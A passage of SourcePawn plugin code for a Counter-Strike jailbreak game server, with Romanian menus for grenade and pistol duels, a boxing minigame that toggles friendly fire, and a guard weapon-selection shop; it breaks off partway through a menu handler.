		Menu meniu_duelgrenade = new Menu(DuelGrenadeMenuHandler);
		meniu_duelgrenade.SetTitle("----------------\nDuel Grenade\n----------------");	
		meniu_duelgrenade.AddItem("", "Duel cu HE");
		meniu_duelgrenade.AddItem("", "Duel cu Decoy");
		meniu_duelgrenade.ExitBackButton = true;
		meniu_duelgrenade.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int DuelGrenadeMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        FakeClientCommand(client, "sm_lr");
	}
	else if(action == MenuAction_Select)
	{

		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				char target[50];
				Menu meniu_he = new Menu(HeMenuHandler);
				meniu_he.SetTitle("----------------\nAlege Oponentul\n----------------");
				for (int i = 1; i <= MaxClients; i++)
				{
					if(IsValidClient(i) && GetClientTeam(i) == 3 && IsPlayerAlive(i) )		
					{
						GetClientName(i, target, sizeof(target));
						meniu_he.AddItem(target, target);
					}
				}
				meniu_he.Display(client, MENU_TIME_FOREVER);
			}
			case 1:
			{
				char target[50];
				Menu meniu_decoy = new Menu(DecoyMenuHandler);
				meniu_decoy.SetTitle("----------------\nAlege Oponentul\n----------------");
				for (int i = 1; i <= MaxClients; i++)
				{
					if(IsValidClient(i) && GetClientTeam(i) == 3 && IsPlayerAlive(i) )		
					{
						GetClientName(i, target, sizeof(target));
						meniu_decoy.AddItem(target, target);
					}
				}
				meniu_decoy.Display(client, MENU_TIME_FOREVER);
			}
		}
	}
}

public int DecoyMenuHandler(Menu menu, MenuAction action, int client, int param2)
{
	if(action == MenuAction_Select)
	{
		DuelEnabled = true;
		DuelDecoy = true;
		char arg1[50];
		GetMenuItem(menu, param2, arg1, sizeof(arg1));
		int target = FindTarget(client, arg1, true, false);
		if (target != -1) 
		{
			for(int x = 1; x <= MaxClients; x++)
			{
				if(IsClientInGame(x))
				{
					ClientCommand( x, "play \"*xsag/jbgo/lr_xsag.mp3\"" );
				}
			}	
			if(GetClientTeam(client) == 2)
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_decoy");
				SetEntityRenderMode(client, RENDER_TRANSCOLOR);
				SetEntityRenderColor(client, 255, 0, 0, 255);
				SetEntityHealth(client, 1);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 0);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 0);
				PlayerDuelPrisonier[client] = true;
			}
			if(GetClientTeam(target) == 3)
			{
				RemoveAllWeapons(target);
				GivePlayerItem(target, "weapon_decoy");	
				SetEntityRenderMode(target, RENDER_TRANSCOLOR);
				SetEntityRenderColor(target, 0, 0, 255, 255);
				SetEntityHealth(target, 1);
				SetEntProp(target, Prop_Send, "m_ArmorValue", 0);
				SetEntProp(target, Prop_Send, "m_bHasHelmet", 0);
				PlayerDuelGuard[target] = true;
			}
		}
	}
}

public int HeMenuHandler(Menu menu, MenuAction action, int client, int param2)
{
	if(action == MenuAction_Select)
	{
		DuelEnabled = true;
		DuelHe = true;
		char arg1[50];
		GetMenuItem(menu, param2, arg1, sizeof(arg1));
		int target = FindTarget(client, arg1, true, false);
		if (target != -1) 
		{
			for(int x = 1; x <= MaxClients; x++)
			{
				if(IsClientInGame(x))
				{
					ClientCommand( x, "play \"*xsag/jbgo/lr_xsag.mp3\"" );
				}
			}	
			if(GetClientTeam(client) == 2)
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_hegrenade");
				SetEntityRenderMode(client, RENDER_TRANSCOLOR);
				SetEntityRenderColor(client, 255, 0, 0, 255);
				SetEntityHealth(client, 100);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 0);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 0);
				PlayerDuelPrisonier[client] = true;
			}
			if(GetClientTeam(target) == 3)
			{
				RemoveAllWeapons(target);
				GivePlayerItem(target, "weapon_hegrenade");	
				SetEntityRenderMode(target, RENDER_TRANSCOLOR);
				SetEntityRenderColor(target, 0, 0, 255, 255);
				SetEntityHealth(target, 100);
				SetEntProp(target, Prop_Send, "m_ArmorValue", 0);
				SetEntProp(target, Prop_Send, "m_bHasHelmet", 0);
				PlayerDuelGuard[target] = true;
			}
		}
	}
}

public void OnEntityCreated(int iEntity, const char[] szClassname)
{
	if(DuelEnabled)
	{
		if(DuelHe)
		{
			if (!StrEqual(szClassname, "hegrenade_projectile"))
				return;
			SDKHook(iEntity, SDKHook_Spawn, OnEntitySpawned);
		}
		else if(DuelDecoy)
		{
			if (!StrEqual(szClassname, "decoy_projectile"))
				return;
			SDKHook(iEntity, SDKHook_Spawn, OnEntitySpawned);
		}
		
	}
}

public int OnEntitySpawned(int iEntity)
{
	int iClient = GetEntPropEnt(iEntity, Prop_Send, "m_hOwnerEntity");
	
	if (iClient == -1 || !IsClientInGame(iClient) || !IsPlayerAlive(iClient))
		return;
		
	if(DuelHe)
	{
		CreateTimer(1.4, Timer_GiveHe, GetClientUserId(iClient), TIMER_FLAG_NO_MAPCHANGE);
	}
	else if(DuelDecoy)
	{
		CreateTimer(0.0, Timer_RemoveThinkTick, EntIndexToEntRef(iEntity), TIMER_FLAG_NO_MAPCHANGE);
	}
}

public Action Timer_RemoveThinkTick(Handle hTimer, int iRef)
{
	int iEntity = EntRefToEntIndex(iRef);
	
	if (iEntity == INVALID_ENT_REFERENCE || !IsValidEntity(iEntity))
		return;
		
	SetEntProp(iEntity, Prop_Data, "m_nNextThinkTick", -1);
	
	CreateTimer(1.4, Timer_RemoveDecoy, EntIndexToEntRef(iEntity), TIMER_FLAG_NO_MAPCHANGE);
}

public Action Timer_RemoveDecoy(Handle hTimer, int iRef)
{
	int iEntity = EntRefToEntIndex(iRef);
	if (iEntity == INVALID_ENT_REFERENCE || !IsValidEntity(iEntity))
		return;
		
	int iClient = GetEntPropEnt(iEntity, Prop_Data, "m_hOwnerEntity");
	
	AcceptEntityInput(iEntity, "Kill");
		
	if (iClient == -1 || !IsClientInGame(iClient) || !IsPlayerAlive(iClient))
		return;
		
	GivePlayerItem(iClient, "weapon_decoy");
}

public Action Timer_GiveHe(Handle hTimer, int iUserid)
{
	int iClient = GetClientOfUserId(iUserid);
		
	if (iClient == -1 || !IsClientInGame(iClient) || !IsPlayerAlive(iClient))
		return;
		
	GivePlayerItem(iClient, "weapon_hegrenade");
}

stock bool DuelPistoale(int client)
{
	if (IsPlayerAlive(client) && GetClientTeam(client) == 2)
	{
		Menu meniu_duelpistoale = new Menu(DuelPistoaleMenuHandler);
		meniu_duelpistoale.SetTitle("----------------\nDuel Pistoale\n----------------");	
		meniu_duelpistoale.AddItem("", "Duel Deagle");
		meniu_duelpistoale.AddItem("", "Duel Revolver");
		meniu_duelpistoale.ExitBackButton = true;
		meniu_duelpistoale.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int DuelPistoaleMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		FakeClientCommand(client, "sm_lr");
	}
	else if(action == MenuAction_Select)
	{

		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				char target[50];
				Menu meniu_deagle = new Menu(DeagleMenuHandler);
				meniu_deagle.SetTitle("----------------\nAlege Oponentul\n----------------");
				for (int i = 1; i <= MaxClients; i++)
				{
					if(IsValidClient(i) && GetClientTeam(i) == 3 && IsPlayerAlive(i) )		
					{
						GetClientName(i, target, sizeof(target));
						meniu_deagle.AddItem(target, target);
					}
				}
				meniu_deagle.Display(client, MENU_TIME_FOREVER);
			}
			case 1:
			{
				char target[50];
				Menu meniu_revolver = new Menu(RevolverMenuHandler);
				meniu_revolver.SetTitle("----------------\nAlege Oponentul\n----------------");
				for (int i = 1; i <= MaxClients; i++)
				{
					if(IsValidClient(i) && GetClientTeam(i) == 3 && IsPlayerAlive(i) )		
					{
						GetClientName(i, target, sizeof(target));
						meniu_revolver.AddItem(target, target);
					}
				}
				meniu_revolver.Display(client, MENU_TIME_FOREVER);	
			}
		}
	}
}

public int DeagleMenuHandler(Menu menu, MenuAction action, int client, int param2)
{
	if(action == MenuAction_Select)
	{
		DuelEnabled = true;
		DuelDeagle = true;
		char arg1[50];
		GetMenuItem(menu, param2, arg1, sizeof(arg1));
		int target = FindTarget(client, arg1, true, false);
		if (target != -1) 
		{
			for(int x = 1; x <= MaxClients; x++)
			{
				if(IsClientInGame(x))
				{
					ClientCommand( x, "play \"*xsag/jbgo/lr_xsag.mp3\"" );
				}
			}	
			if(GetClientTeam(client) == 2)
			{
				char weaponclassname[MAX_WEAPON_STRING];
				RemoveAllWeapons(client);
				int iWeapon = GivePlayerItem(client, "weapon_deagle");
				SetEntProp(iWeapon, Prop_Send, "m_iClip1", 1);
				Client_GetActiveWeaponName(client, weaponclassname, MAX_WEAPON_STRING);
				SetEntProp(iWeapon, Prop_Send, "m_iPrimaryReserveAmmoCount", 0);
				Client_SetWeaponPlayerAmmo(client, weaponclassname, 0);	
				SetEntityRenderMode(client, RENDER_TRANSCOLOR);
				SetEntityRenderColor(client, 255, 0, 0, 255);
				SetEntityHealth(client, 100);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 0);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 0);
				PlayerDuelPrisonier[client] = true;
			}
			if(GetClientTeam(target) == 3)
			{
				char weaponclassname[MAX_WEAPON_STRING];
				RemoveAllWeapons(target);
				int iWeapon = GivePlayerItem(target, "weapon_deagle");
				SetEntProp(iWeapon, Prop_Send, "m_iClip1", 1);
				Client_GetActiveWeaponName(target, weaponclassname, MAX_WEAPON_STRING);
				SetEntProp(iWeapon, Prop_Send, "m_iPrimaryReserveAmmoCount", 0);
				Client_SetWeaponPlayerAmmo(target, weaponclassname, 0);	
				SetEntityRenderMode(target, RENDER_TRANSCOLOR);
				SetEntityRenderColor(target, 0, 0, 255, 255);
				SetEntityHealth(target, 100);
				SetEntProp(target, Prop_Send, "m_ArmorValue", 0);
				SetEntProp(target, Prop_Send, "m_bHasHelmet", 0);
				PlayerDuelGuard[target] = true;
			}
		}
	}
}

public int RevolverMenuHandler(Menu menu, MenuAction action, int client, int param2)
{
	if(action == MenuAction_Select)
	{
		DuelEnabled = true;
		DuelRevolver = true;
		char arg1[50];
		GetMenuItem(menu, param2, arg1, sizeof(arg1));
		int target = FindTarget(client, arg1, true, false);
		if (target != -1) 
		{
			for(int x = 1; x <= MaxClients; x++)
			{
				if(IsClientInGame(x))
				{
					ClientCommand( x, "play \"*xsag/jbgo/lr_xsag.mp3\"" );
				}
			}	
			if(GetClientTeam(client) == 2)
			{
				char weaponclassname[MAX_WEAPON_STRING];
				RemoveAllWeapons(client);
				int iWeapon = GivePlayerItem(client, "weapon_revolver");
				SetEntProp(iWeapon, Prop_Send, "m_iClip1", 1);
				Client_GetActiveWeaponName(client, weaponclassname, MAX_WEAPON_STRING);
				SetEntProp(iWeapon, Prop_Send, "m_iPrimaryReserveAmmoCount", 0);
				Client_SetWeaponPlayerAmmo(client, weaponclassname, 0);	
				
				SetEntityRenderMode(client, RENDER_TRANSCOLOR);
				SetEntityRenderColor(client, 255, 0, 0, 255);
				SetEntityHealth(client, 100);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 0);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 0);
				PlayerDuelPrisonier[client] = true;
			}
			if(GetClientTeam(target) == 3)
			{
				char weaponclassname[MAX_WEAPON_STRING];
				RemoveAllWeapons(target);
				int iWeapon = GivePlayerItem(target, "weapon_revolver");
				SetEntProp(iWeapon, Prop_Send, "m_iClip1", 1);
				Client_GetActiveWeaponName(target, weaponclassname, MAX_WEAPON_STRING);
				SetEntProp(iWeapon, Prop_Send, "m_iPrimaryReserveAmmoCount", 0);
				Client_SetWeaponPlayerAmmo(target, weaponclassname, 0);	
				SetEntityRenderMode(target, RENDER_TRANSCOLOR);
				SetEntityRenderColor(target, 0, 0, 255, 255);
				SetEntityHealth(target, 100);
				SetEntProp(target, Prop_Send, "m_ArmorValue", 0);
				SetEntProp(target, Prop_Send, "m_bHasHelmet", 0);
				PlayerDuelGuard[target] = true;
			}
		}
	}
}

public void RemoveAllWeapons(int client)
{
	if(IsValidClient(client))
	{
		int weapon;
		for(int i = 0; i < 5; i++) 
		{ 
			while((weapon = GetPlayerWeaponSlot(client, i)) != -1) 
			{
				RemovePlayerItem(client, weapon);
				AcceptEntityInput(weapon, "Kill"); 
			} 
		}
	}
}

public Action ClientWeaponReload(Event event, const char[] name, bool dontBroadcast)
{
	int client = GetClientOfUserId(GetEventInt(event,  "userid"));
	Darm(client);
}

public void Darm(int client)
{
	if(IsPlayerAlive(client) && DuelEnabled)
	{
		int weapon = GetEntPropEnt(client, Prop_Data, "m_hActiveWeapon");
		if(weapon > 0 && (weapon == GetPlayerWeaponSlot(client, CS_SLOT_PRIMARY) || weapon == GetPlayerWeaponSlot(client, CS_SLOT_SECONDARY)))
		{
			int warray;
			char classname[4];
			//GetEdictClassname(weapon, classname, sizeof(classname));
			Format(classname, 4, "%i", GetEntProp(weapon, Prop_Send, "m_iItemDefinitionIndex"));
			if(GetTrieValue(trie_armas, classname, warray))
			{
				if(GetReserveAmmo(weapon) != warray) SetEntProp(weapon, Prop_Send, "m_iPrimaryReserveAmmoCount", 1);
			}
		}
	}
}

public Action CS_OnCSWeaponDrop(int client, int weapon)
{
	char weapon_name[30];
	GetEntityClassname(weapon, weapon_name, sizeof(weapon_name));
	if(DuelEnabled)
	{
		PrintToChat(client, " \x0F[BOT]PlayArena\x01: Nu poți arunca armele în timpul unui duel.");
		return Plugin_Handled;
	}
	return Plugin_Continue;
}

stock int GetReserveAmmo(int weapon)
{
    return GetEntProp(weapon, Prop_Send, "m_iPrimaryReserveAmmoCount");
}

public Action EventItemPickup2(int client, int weapon)
{
	if(weapon == GetPlayerWeaponSlot(client, CS_SLOT_PRIMARY) || weapon == GetPlayerWeaponSlot(client, CS_SLOT_SECONDARY) && DuelEnabled)
	{
		int warray;
		char classname[4];
		//GetEdictClassname(weapon, classname, sizeof(classname));
		Format(classname, 4, "%i", GetEntProp(weapon, Prop_Send, "m_iItemDefinitionIndex"));
		
		if(!GetTrieValue(trie_armas, classname, warray))
		{
			warray = GetEntProp(weapon, Prop_Send, "m_iPrimaryReserveAmmoCount");
			
			SetTrieValue(trie_armas, classname, warray);
		}
	}
}

stock bool Box(int client)
{
	if(client == Simon)
	{
		Menu meniu_box = new Menu(BoxMenuHandler);
		meniu_box.SetTitle("Meniu Box");
		if(BoxEnabled)
		{
			meniu_box.AddItem("", "Pornește Meciul", ITEMDRAW_DISABLED);
		}
		else
		{
			meniu_box.AddItem("", "Pornește Meciul");
		}
		if(!BoxEnabled)
		{
			meniu_box.AddItem("", "Oprește Meciul", ITEMDRAW_DISABLED);
		}
		else
		{
			meniu_box.AddItem("", "Oprește Meciul");
		}
		meniu_box.ExitBackButton = true;
		meniu_box.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int BoxMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        MiniJocuri(client);
	}
	else if(action == MenuAction_Select)
	{

		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				if(!(g_ZileJBGO == 0 || g_ZileJBGO == 7))
				{
					if(!DuelEnabled)
					{
						if(client == Simon)
						{
							StartBox();
							for (int i = 1; i <= MaxClients; i++)  
							{  
								if (IsClientInGame(i))  
								{  
									SetHudTextParams(-1.0, 0.3, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);
									ShowHudText(i, 5, "%N a pornit un meci de Box!", client);  
									ClientCommand(i, "play \"*xsag/jbgo/box_xsag.mp3\"" );
								}  	
							} 
							PrintToChatAll(" \x0F[BOT]PlayArena\x01: \x10%N \x01a pornit un meci de Box!", client);
							Box(client);
						}
						else 
						{
							PrintToChat(client, " \x0F[BOT]PlayArena\x01: \x01Trebuie să fii Simon pentru a juca acest mini-joc.");
						}
					}
					else
					{
						PrintToChat(client, " \x0F[BOT]PlayArena\x01: Nu poți să porneșți box-ul când se face duel.");
					}
				}
				else
				{
					PrintToChat(client, " \x0F[BOT]PlayArena\x01: Box-ul este dezactivat când este \x06FreeDay\x01.");
				}
			}
			case 1:
			{
				if(!DuelEnabled)
				{
					if(client == Simon)
					{
						for (int i = 1; i <= MaxClients; i++)  
						{  
							if(IsClientInGame(i))  
							{  
								SetHudTextParams(-1.0, 0.3, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
								ShowHudText(i, 5, "%N a oprit meciul de Box ", client);  
							}  	
						} 
						PrintToChatAll(" \x0F[BOT]PlayArena\x01: \x10%N \x01a oprit meciul de Box!", client);
						StopBox();
						Box(client);
					}
					else 
					{
						PrintToChat(client, " \x0F[BOT]PlayArena\x01: Trebuie să fii comandant pentru a juca acest mini-joc.");
					}
				}
				else
				{
					PrintToChat(client, " \x0F[BOT]PlayArena\x01: Când este duel, meciul de box se oprește automat.");
				}
			}
		}
	}
}

public void StartBox()
{
	if(!BoxEnabled)
	{
		BoxEnabled = true;
		for(int i = 1; i <= MaxClients; i++)
		{
			if(IsClientInGame(i) && GetClientTeam(i) == 2 && IsPlayerAlive(i))
			{
				SetEntityHealth(i, 100);
			}
		}
		SetConVarInt(FindConVar("mp_friendlyfire"), 1);
		SetConVarInt(FindConVar("ff_damage_reduction_bullets"), 1);
		SetConVarInt(FindConVar("ff_damage_reduction_grenade"), 1);
		SetConVarInt(FindConVar("ff_damage_reduction_grenade_self"), 1);
		SetConVarInt(FindConVar("ff_damage_reduction_other"), 1);
	}
}


public void StopBox()
{
	if(BoxEnabled)
	{
		BoxEnabled = false;
		SetConVarInt(FindConVar("mp_friendlyfire"), 0);
		SetConVarInt(FindConVar("ff_damage_reduction_bullets"), 0);
		SetConVarInt(FindConVar("ff_damage_reduction_grenade"), 0);
		SetConVarInt(FindConVar("ff_damage_reduction_grenade_self"), 0);
		SetConVarInt(FindConVar("ff_damage_reduction_other"), 0);
	}
}

stock bool MiniJocuri(int client)
{
	if(client == Simon)
	{
		Menu meniu_minijocuri = new Menu(MiniJocuriMenuHandler);
		meniu_minijocuri.SetTitle("Mini-Jocuri");	
		meniu_minijocuri.AddItem("", "Box");
		meniu_minijocuri.AddItem("", "Ruleta Rusească");
		meniu_minijocuri.ExitBackButton = true;
		meniu_minijocuri.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MiniJocuriMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        MeniuSimon(client);
	}
	else if(action == MenuAction_Select)
	{

		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch(param)
		{
			case 0:
			{
				Box(client);
			}
			case 1:
			{
				FakeClientCommand(client, "sm_random");
				MiniJocuri(client);
			}
		}
	}
}

stock bool MagazieArme(int client)
{
	if (IsPlayerAlive(client) && GetClientTeam(client) == 3)
	{
		Menu meniu_magaziearme = new Menu(MagazieArmeMenuHandler);
		meniu_magaziearme.SetTitle("----------------\nMagazie Arme\n----------------");
		meniu_magaziearme.AddItem("", "Puști");
		meniu_magaziearme.AddItem("", "Lunete");
		meniu_magaziearme.AddItem("", "Smg-uri");
		meniu_magaziearme.AddItem("", "Arme grele");
		meniu_magaziearme.ExitBackButton = true;
		meniu_magaziearme.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MagazieArmeMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        FakeClientCommand(client, "sm_menu");
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param)
		{
			case 0:
			{
				MagPusti(client);
			}
			case 1:
			{
				MagLunete(client);
			}
			case 2:
			{
				MagSMG(client);
			}
			case 3:
			{
				MagArmeGrele(client);
			}
		}
	}
}

stock bool MagPusti(int client)
{
	if (IsPlayerAlive(client) && GetClientTeam(client) == 3)
	{
		Menu meniu_magaziepusti = new Menu(MagPustiMenuHandler);
		meniu_magaziepusti.SetTitle("----------------\nPuști\n----------------");
		meniu_magaziepusti.AddItem("", "M4A4");
		meniu_magaziepusti.AddItem("", "M4A1-S");
		meniu_magaziepusti.AddItem("", "AK47");
		meniu_magaziepusti.AddItem("", "Famas");
		meniu_magaziepusti.AddItem("", "Galil-AR");
		meniu_magaziepusti.AddItem("", "AUG");
		meniu_magaziepusti.AddItem("", "SG556");
		meniu_magaziepusti.ExitBackButton = true;
		meniu_magaziepusti.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MagPustiMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        MagazieArme(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_m4a1");
				MagPistoale(client);
			}
			case 1:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_m4a1_silencer");
				MagPistoale(client);
			}
			case 2:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_ak47");
				MagPistoale(client);
			}
			case 3:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_famas");
				MagPistoale(client);
			}
			case 4:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_galilar");
				MagPistoale(client);
			}
			case 5:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_aug");
				MagPistoale(client);
			}
			case 6:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_sg556");
				MagPistoale(client);
			}
		}
	}
}

stock bool MagLunete(int client)
{
	if (IsPlayerAlive(client) && GetClientTeam(client) == 3)
	{
		Menu meniu_magazielunete = new Menu(MagLuneteMenuHandler);
		meniu_magazielunete.SetTitle("----------------\nLunete\n----------------");
		meniu_magazielunete.AddItem("", "AWP");
		meniu_magazielunete.AddItem("", "SSG 08");
		meniu_magazielunete.AddItem("", "SCAR-20");
		meniu_magazielunete.AddItem("", "G3SG1");
		meniu_magazielunete.ExitBackButton = true;
		meniu_magazielunete.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MagLuneteMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        MagazieArme(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_awp");
				MagPistoale(client);
			}
			case 1:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_ssg08");
				MagPistoale(client);
			}
			case 2:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_scar20");
				MagPistoale(client);
			}
			case 3:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_g3sg1");
				MagPistoale(client);
			}
		}
	}
}

stock bool MagSMG(int client)
{
	if (IsPlayerAlive(client) && GetClientTeam(client) == 3)
	{
		Menu meniu_magaziepusti = new Menu(MagSMGMenuHandler);
		meniu_magaziepusti.SetTitle("----------------\nSMG-uri\n----------------");
		meniu_magaziepusti.AddItem("", "PP-Bizon");
		meniu_magaziepusti.AddItem("", "Mac-10");
		meniu_magaziepusti.AddItem("", "MP7");
		meniu_magaziepusti.AddItem("", "MP9");
		meniu_magaziepusti.AddItem("", "P90");
		meniu_magaziepusti.AddItem("", "UMP-45");
		meniu_magaziepusti.AddItem("", "MP5-SD");
		meniu_magaziepusti.ExitBackButton = true;
		meniu_magaziepusti.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MagSMGMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        MagazieArme(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_bizon");
				MagPistoale(client);
			}
			case 1:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_mac10");
				MagPistoale(client);
			}
			case 2:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_mp7");
				MagPistoale(client);
			}
			case 3:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_mp9");
				MagPistoale(client);
			}
			case 4:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_p90");
				MagPistoale(client);
			}
			case 5:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_ump45");
				MagPistoale(client);
			}
			case 6:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_mp5sd");
				MagPistoale(client);
			}
		}
	}
}

stock bool MagArmeGrele(int client)
{
	if (IsPlayerAlive(client) && GetClientTeam(client) == 3)
	{
		Menu meniu_magaziearmegrele = new Menu(MagArmeGreleMenuHandler);
		meniu_magaziearmegrele.SetTitle("----------------\nArme Grele\n----------------");
		meniu_magaziearmegrele.AddItem("", "Negev");
		meniu_magaziearmegrele.AddItem("", "M249");
		meniu_magaziearmegrele.AddItem("", "Mag7");
		meniu_magaziearmegrele.AddItem("", "Sawed-Off ");
		meniu_magaziearmegrele.AddItem("", "Nova");
		meniu_magaziearmegrele.AddItem("", "XM1014");
		meniu_magaziearmegrele.ExitBackButton = true;
		meniu_magaziearmegrele.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MagArmeGreleMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        MagazieArme(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_negev");
				MagPistoale(client);
			}
			case 1:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_m249");
				MagPistoale(client);
			}
			case 2:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_mag7");
				MagPistoale(client);
			}
			case 3:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_sawedoff");
				MagPistoale(client);
			}
			case 4:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_nova");
				MagPistoale(client);
			}
			case 5:
			{
				RemoveAllWeapons(client);
				GivePlayerItem(client, "weapon_xm1014");
				MagPistoale(client);
			}
		}
	}
}

stock bool MagPistoale(int client)
{
	if (IsPlayerAlive(client) && GetClientTeam(client) == 3)
	{
		Menu meniu_magaziepistoale = new Menu(MagPistoaleMenuHandler);
		meniu_magaziepistoale.SetTitle("----------------\nMagazie Pistoale\n----------------");
		meniu_magaziepistoale.AddItem("", "USP");
		meniu_magaziepistoale.AddItem("", "Glock-18");
		meniu_magaziepistoale.AddItem("", "Dual Berettas");
		meniu_magaziepistoale.AddItem("", "P250");
		meniu_magaziepistoale.AddItem("", "Five-Seven");
		meniu_magaziepistoale.AddItem("", "CZ75-Auto");
		meniu_magaziepistoale.AddItem("", "Tec9");
		meniu_magaziepistoale.AddItem("", "Desert Eagle");
		meniu_magaziepistoale.AddItem("", "R8-Revolver");
		meniu_magaziepistoale.ExitButton = false;
		meniu_magaziepistoale.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MagPistoaleMenuHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				GivePlayerItem(client, "weapon_usp_silencer");
				iMelee = GivePlayerItem(client, "weapon_knife_m9_bayonet");
				EquipPlayerWeapon(client, iMelee);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 100);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 1 );
			}
			case 1:
			{
				GivePlayerItem(client, "weapon_glock");
				iMelee = GivePlayerItem(client, "weapon_knife_m9_bayonet");
				EquipPlayerWeapon(client, iMelee);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 100);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 1 );
			}
			case 2:
			{
				GivePlayerItem(client, "weapon_elite");
				iMelee = GivePlayerItem(client, "weapon_knife_m9_bayonet");
				EquipPlayerWeapon(client, iMelee);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 100);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 1 );
			}
			case 3:
			{
				GivePlayerItem(client, "weapon_p250");
				iMelee = GivePlayerItem(client, "weapon_knife_m9_bayonet");
				EquipPlayerWeapon(client, iMelee);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 100);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 1 );
			}
			case 4:
			{
				GivePlayerItem(client, "weapon_fiveseven");
				iMelee = GivePlayerItem(client, "weapon_knife_m9_bayonet");
				EquipPlayerWeapon(client, iMelee);
				SetEntProp(client, Prop_Send, "m_ArmorValue", 100);
				SetEntProp(client, Prop_Send, "m_bHasHelmet", 1 );
			}
			case 5:
			{
				GivePlayerItem(client, "weapon_cz75a");
				iMelee = GivePlayerItem(client, "weapon_knife_m9_bayonet");
